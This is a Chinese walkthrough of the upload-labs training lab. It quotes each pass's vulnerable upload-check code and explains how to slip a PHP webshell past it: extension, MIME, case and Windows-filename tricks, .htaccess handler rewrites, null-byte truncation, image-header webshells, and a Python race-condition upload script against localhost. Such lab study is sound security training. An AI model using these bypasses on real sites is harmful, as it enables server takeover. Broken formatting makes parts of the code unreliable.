Fork me on GitHub

upload-labs

文件上传的目的是通过上传.php文件,从而植入木马,然后通过菜刀进行连接,最终get shell

0x01 Pass-01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}
  • 拦截方式:根据上传文件的后缀是否为.img格式来判断文件能否上传;

  • 绕过方式:将木马伪装成.img文件,上传后burp拦截数据包,更改文件后缀为.php,再forward.

0x02 Pass-02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
  • 拦截方式:对文件的MIME(Multipurpose Internet Mail Extensions)进行了验证,只允许图片类的MIME类型通过

  • 绕过方式:直接上传木马文件,burp截包,修改Content-Type为image/gif,go….

0x03 Pass-03

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
  • 拦截方式:黑名单验证(‘.asp’,’.aspx’,’.php’,’.jsp’)

  • 绕过方式:
    (1)可上传php3,php5…等这样可以被服务器解析的后缀名
    (2)重写文件解析规则绕过,先上传一个.htaccess文件,再上传一个1.jpg文件(内含木马)
    通过.htaccess文件调用php解析器去解析一个文件名中只要包含”1.jpg”这个字符串的任意文件,
    无论扩展名是什么(没有也行),都以php的方式来解析
    .htaccess文件内容:

    "1.jpg">```
    1
    ```SetHandler application/x-httpd-php
1
2

#### 0x04 Pass-04

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”php1”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”pHp1”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件不允许上传!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
4
5
6

* 拦截方式:对上传文件的后缀名的判断种类增加

* 绕过方式:重写文件解析规则绕过(第3关(2))

#### 0x05 Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
4
5
* 拦截方式:.htaccess加入了黑名单,取消了后缀名全变为小写字母的函数

* 绕过方式:采用大小写混合方式绕过.Php,.PHp5...

#### 0x06 Pass-06

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = $_FILES[‘upload_file’][‘name’];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
        if (move_uploaded_file($temp_file,$img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件不允许上传';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
* 题目没有去除文件尾部的空格, 所以使用 burpsuite 抓包文件名添加空格即可绕过.

#### 0x07 Pass-07

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
4
5
6
* 拦截方式:.htaccess加入了黑名单,后缀名全变为小写字母的函数依旧存在

* 绕过方式:利用windows系统的文件名特性
(不允许有.单独存在),上传1.php,burp截包,将后缀改为1.php .的形式,上传后保存在Windows系统上的文件名最后的一个.会被去掉,实际上保存的文件名就是1.php

#### 0x08 Pass-08

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
* 拦截方式:缺少 ```$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
  • 绕过方式:利用windows文件流特性绕过,1.php上传,burp截包,改为
    1
    2

    #### 0x09 Pass-09

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess”);
$file_name = trim($_FILES[‘upload_file’][‘name’]);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, ‘.’);
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

    if (!in_array($file_ext, $deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = '此文件类型不允许上传!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
* 本题中的代码后缀名处理的不够严谨, 先去除了文件后面的., 再去除了文件后缀的空格, 由于只处理了一次, 所以可以通过上传1.php. . 原理跟前面几题基本一样.

#### 0x10 Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“php”,”php5”,”php4”,”php3”,”php2”,”html”,”htm”,”phtml”,”pht”,”jsp”,”jspa”,”jspx”,”jsw”,”jsv”,”jspf”,”jtml”,”asp”,”aspx”,”asa”,”asax”,”ascx”,”ashx”,”asmx”,”cer”,”swf”,”htaccess”);

    $file_name = trim($_FILES['upload_file']['name']);
    $file_name = str_ireplace($deny_ext,"", $file_name);
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH.'/'.$file_name;        
    if (move_uploaded_file($temp_file, $img_path)) {
        $is_upload = true;
    } else {
        $msg = '上传出错!';
    }
} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

1
2
3
4
5
6

* 拦截方式:``` $file_name = str_ireplace($deny_ext,"", $file_name);```, 作用是把黑名单里面的后缀名替换成空, 由于只替换了一遍, 只对文件名进行了一次过滤,所以可以采用双写绕过。

* 绕过方式:构造双重文件名,1.phphpp

#### 0x11 Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST[‘submit’])){
$ext_arr = array(‘jpg’,’png’,’gif’);
$file_ext = substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],”.”)+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$img_path = $_GET[‘save_path’].”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext;

    if(move_uploaded_file($temp_file,$img_path)){
        $is_upload = true;
    } else {
        $msg = '上传出错!';
    }
} else{
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
}

}

1
2
3
4
5
6
7
8
9
10

* 拦截方式:以时间戳方式对上传文件进行命名

* 绕过方式:使用上传路径名%00截断绕过,不过这需要对文件有足够的权限,比如说创建
文件夹,上传的文件名写成1.jpg, save_path改成../upload/1.php%00,最后保存下来的文件就是1.php
//某些情况下可以使用 %00 截断
1、PHP 版本 < 5.3.4
2、php.ini 中 magic_quotes_gpc=off

#### 0x12 Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST[‘submit’])){
$ext_arr = array(‘jpg’,’png’,’gif’);
$file_ext = substr($_FILES[‘upload_file’][‘name’],strrpos($_FILES[‘upload_file’][‘name’],”.”)+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$img_path = $_POST[‘save_path’].”/“.rand(10, 99).date(“YmdHis”).”.”.$file_ext;

    if(move_uploaded_file($temp_file,$img_path)){
        $is_upload = true;
    } else {
        $msg = "上传失败";
    }
} else {
    $msg = "只允许上传.jpg|.png|.gif类型文件!";
}

}

1
2
3
4
* 原理与11相同,```$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;save_path``` 从 GET 变成了 POST, 此时不能再使用 %00 截断, 原因是 %00 截断在 GET 中被 url 解码之后是空字符, 但是在 POST 中 %00 不会被 url 解码, 所以只能通过 burpsuite 修改 hex 值为 00 进行截断.
这里把 2b('+'的 hex) 修改成 00

#### 0x13 Pass-13

function getReailFileType($filename){
$file = fopen($filename, “rb”);
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack(“C2chars”, $bin);
$typeCode = intval($strInfo[‘chars1’].$strInfo[‘chars2’]);
$fileType = ‘’;
switch($typeCode){
case 255216:
$fileType = ‘jpg’;
break;
case 13780:
$fileType = ‘png’;
break;
case 7173:
$fileType = ‘gif’;
break;
default:
$fileType = ‘unknown’;
}
return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST[‘submit’])){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$file_type = getReailFileType($temp_file);

if($file_type == 'unknown'){
    $msg = "文件未知,上传失败!";
}else{
    $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
    if(move_uploaded_file($temp_file,$img_path)){
        $is_upload = true;
    } else {
        $msg = "上传出错!";
    }
}

}

1
2
3
4
5
6
7
* 拦截方式:1、保证上传后的图片马中仍然包含完整的一句话或webshell代码。2.图片马要.jpg,.png,.gif三种后缀都上传成功才算过关!

* 绕过方式:
(1)只读文件的前两个字节,在文件的开端添加gif的标志文件头GIF89a,可进行绕过;
(2)使用命令```copy 1.jpg /b + shell.php /a webshell.jpg```将一句话木马添加到图片中也可(但是我们没有办法拿到shell,应为我们上传的图片马无法被解析成php形式,通常图片马配合%00或者0x00截断上传,或者配合解析漏洞)

#### 0x14 Pass-14

function isImage($filename){
$types = ‘.jpeg|.png|.gif’;
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST[‘submit’])){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$res = isImage($temp_file);
if(!$res){
$msg = “文件未知,上传失败!”;
}else{
$img_path = UPLOAD_PATH.”/“.rand(10, 99).date(“YmdHis”).$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = “上传出错!”;
}
}
}

1
2
3
4
5
6
7

* 拦截方式:
(1)[getimagesize() 函数](https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617)用于获取图像尺寸,给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
(2)image_type_to_extension() 函数用于获取图片后缀
* 绕过方式:同 13

#### 0x15 Pass-15

function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return “gif”;
break;
case IMAGETYPE_JPEG:
return “jpg”;
break;
case IMAGETYPE_PNG:
return “png”;
break;
default:
return false;
break;
}
}

$is_upload = false;
$msg = null;
if(isset($_POST[‘submit’])){
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$res = isImage($temp_file);
if(!$res){
$msg = “文件未知,上传失败!”;
}else{
$img_path = UPLOAD_PATH.”/“.rand(10, 99).date(“YmdHis”).”.”.$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = “上传出错!”;
}
}
}

1
2
3
4
5
* 拦截方式:exif_imagetype的作用也是根据文件头判断文件类型, 所以一样可以使用图片马绕过.

* 绕过方式:同13

#### 0x16 Pass-16

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES[‘upload_file’][‘name’];
$filetype = $_FILES[‘upload_file’][‘type’];
$tmpname = $_FILES[‘upload_file’][‘tmp_name’];

$target_path=UPLOAD_PATH.basename($filename);

// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);

//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
    if(move_uploaded_file($tmpname,$target_path))
    {
        //使用上传的图片生成新的图片
        $im = imagecreatefromjpeg($target_path);

        if($im == false){
            $msg = "该文件不是jpg格式的图片!";
            @unlink($target_path);
        }else{
            //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".jpg";
            $newimagepath = UPLOAD_PATH.$newfilename;
            imagejpeg($im,$newimagepath);
            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.$newfilename;
            @unlink($target_path);
            $is_upload = true;
        }
    } else {
        $msg = "上传出错!";
    }

}else if(($fileext == "png") && ($filetype=="image/png")){
    if(move_uploaded_file($tmpname,$target_path))
    {
        //使用上传的图片生成新的图片
        $im = imagecreatefrompng($target_path);

        if($im == false){
            $msg = "该文件不是png格式的图片!";
            @unlink($target_path);
        }else{
             //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".png";
            $newimagepath = UPLOAD_PATH.$newfilename;
            imagepng($im,$newimagepath);
            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.$newfilename;
            @unlink($target_path);
            $is_upload = true;               
        }
    } else {
        $msg = "上传出错!";
    }

}else if(($fileext == "gif") && ($filetype=="image/gif")){
    if(move_uploaded_file($tmpname,$target_path))
    {
        //使用上传的图片生成新的图片
        $im = imagecreatefromgif($target_path);
        if($im == false){
            $msg = "该文件不是gif格式的图片!";
            @unlink($target_path);
        }else{
            //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".gif";
            $newimagepath = UPLOAD_PATH.$newfilename;
            imagegif($im,$newimagepath);
            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.$newfilename;
            @unlink($target_path);
            $is_upload = true;
        }
    } else {
        $msg = "上传出错!";
    }
}else{
    $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}

}

1
2
3
4
5
6
7
8

* 原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
这里提供一个包含一句话webshell代码并可以绕过PHP的imagecreatefromgif函数的GIF图片示例。
php图像二次渲染:
https://blog.csdn.net/hitwangpeng/article/details/48661433
https://blog.csdn.net/hitwangpeng/article/details/46548849

#### 0x17 Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST[‘submit’])){
$ext_arr = array(‘jpg’,’png’,’gif’);
$file_name = $_FILES[‘upload_file’][‘name’];
$temp_file = $_FILES[‘upload_file’][‘tmp_name’];
$file_ext = substr($file_name,strrpos($file_name,”.”)+1);
$upload_file = UPLOAD_PATH . ‘/‘ . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上传出错!';
}

}

1
2

* 利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

#!/usr/bin/env python

coding:utf-8

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool

def upload(lists):
hh = hackhttp.hackhttp()
raw = “””POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—————————6696274297634
Content-Length: 341

—————————–6696274297634
Content-Disposition: form-data; name=”upload_file”; filename=”17.php”
Content-Type: application/octet-stream

—————————–6696274297634
Content-Disposition: form-data; name=”submit”

上传
—————————–6696274297634–
“””
code, head, html, redirect, log = hh.http(‘http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + “\r”)

pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

1
2
3
在脚本运行的时候,访问Webshell

#### 0x18 Pass-18

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’]))
{
require_once(“./myupload.php”);
$imgFileName =time();
$u = new MyUpload($_FILES[‘upload_file’][‘name’], $_FILES[‘upload_file’][‘tmp_name’], $_FILES[‘upload_file’][‘size’],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = ‘文件已经被上传,但没有重命名。’;
break;
case -1:
$msg = ‘这个文件不能上传到服务器的临时文件存储目录。’;
break;
case -2:
$msg = ‘上传失败,上传目录不可写。’;
break;
case -3:
$msg = ‘上传失败,无法上传该类型文件。’;
break;
case -4:
$msg = ‘上传失败,上传的文件过大。’;
break;
case -5:
$msg = ‘上传失败,服务器已经存在相同名称文件。’;
break;
case -6:
$msg = ‘文件无法上传,文件不能复制到目标目录。’;
break;
default:
$msg = ‘未知错误!’;
break;
}
}

//myupload.php
class MyUpload{
……
……
……
var $cls_arr_ext_accepted = array(
“.doc”, “.xls”, “.txt”, “.pdf”, “.gif”, “.jpg”, “.zip”, “.rar”, “.7z”,”.ppt”,
“.html”, “.xml”, “.tiff”, “.jpeg”, “.png” );

……
……
……
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){

$ret = $this->isUploadedFile();

if( $ret != 1 ){
  return $this->resultUpload( $ret );
}

$ret = $this->setDir( $dir );
if( $ret != 1 ){
  return $this->resultUpload( $ret );
}

$ret = $this->checkExtension();
if( $ret != 1 ){
  return $this->resultUpload( $ret );
}

$ret = $this->checkSize();
if( $ret != 1 ){
  return $this->resultUpload( $ret );    
}

// if flag to check if the file exists is set to 1

if( $this->cls_file_exists == 1 ){

  $ret = $this->checkFileExists();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );    
  }
}

// if we are here, we are ready to move the file to destination

$ret = $this->move();
if( $ret != 1 ){
  return $this->resultUpload( $ret );    
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
  $ret = $this->renameFile();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );    
  }
}

// if we are here, everything worked as planned :)

return $this->resultUpload( "SUCCESS" );

}
……
……
……
};

1
2
3
4
5

* 刚开始没有找到绕过方法,最后下载作者Github提供的打包环境,利用上传重命名竞争+Apache解析漏洞,成功绕过。
上传名字为18.php.7Z的文件,快速重复提交该数据包,会提示文件已经被上传,但没有被重命名。快速提交上面的数据包,可以让文件名字不被重命名上传成功,然后利用Apache的解析漏洞,即可获得shell。

#### 0x19 Pass-19

$is_upload = false;
$msg = null;
if (isset($_POST[‘submit’])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(“php”,”php5”,”php4”,”php3”,”php2”,”html”,”htm”,”phtml”,”pht”,”jsp”,”jspa”,”jspx”,”jsw”,”jsv”,”jspf”,”jtml”,”asp”,”aspx”,”asa”,”asax”,”ascx”,”ashx”,”asmx”,”cer”,”swf”,”htaccess”);

    $file_name = trim($_POST['save_name']);
    $file_name = deldot($file_name);//删除文件名末尾的点
    $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
    $file_ext = strtolower($file_ext); //转换为小写
    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    $file_ext = trim($file_ext); //首尾去空

    if(!in_array($file_ext,$deny_ext)) {
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH . '/' .$file_name;
        if (move_uploaded_file($temp_file, $img_path)) { 
            $is_upload = true;
        }else{
            $msg = '上传出错!';
        }
    }else{
        $msg = '禁止保存为该类型文件!';
    }

} else {
    $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}

}

* 原理同11,上传的文件名用0x00绕过。改成19.php【二进制00】.1.jpg

>![](https://upload-images.jianshu.io/upload_images/9223646-de070594f1d760e1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

####参考
[write_up1](https://www.cnblogs.com/bmjoker/p/9141322.html)
[write_up2](http://www.she1don.cn/index.php/archives/38.html)